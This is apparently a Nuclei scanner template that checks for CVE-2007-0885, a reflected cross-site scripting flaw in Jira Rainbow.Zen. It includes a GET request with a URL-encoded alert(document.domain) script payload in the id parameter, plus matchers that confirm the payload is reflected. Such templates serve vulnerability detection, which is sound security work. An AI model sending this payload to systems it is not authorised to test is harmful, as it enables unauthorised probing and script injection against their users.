id: CVE-2007-0885

info:
  name: Jira Rainbow.Zen - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Jira Rainbow.Zen contains a cross-site scripting vulnerability via Jira/secure/BrowseProject.jspa which allows remote attackers to inject arbitrary web script or HTML via the id parameter.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Jira Rainbow.Zen to mitigate the Cross-Site Scripting vulnerability.
  reference:
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/32418
    - https://nvd.nist.gov/vuln/detail/CVE-2007-0885
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2007-0885
    cwe-id: NVD-CWE-Other
    epss-score: 0.05472
    epss-percentile: 0.91729
    cpe: cpe:2.3:a:rainbow_portal:rainbow.zen:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rainbow_portal
    product: rainbow.zen
  tags: cve,cve2007,jira,xss,rainbow_portal,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/jira/secure/BrowseProject.jspa?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022073d92711c37b1694c39a314ecfbee777490f62ea2e9e2cca74a558414650893102207e2c6c8bd01b107b8fb53ccc0509501405b8abd1abeb7b9fe7b11514ec1a060f:922c64590222798bb761d5b6d8e72950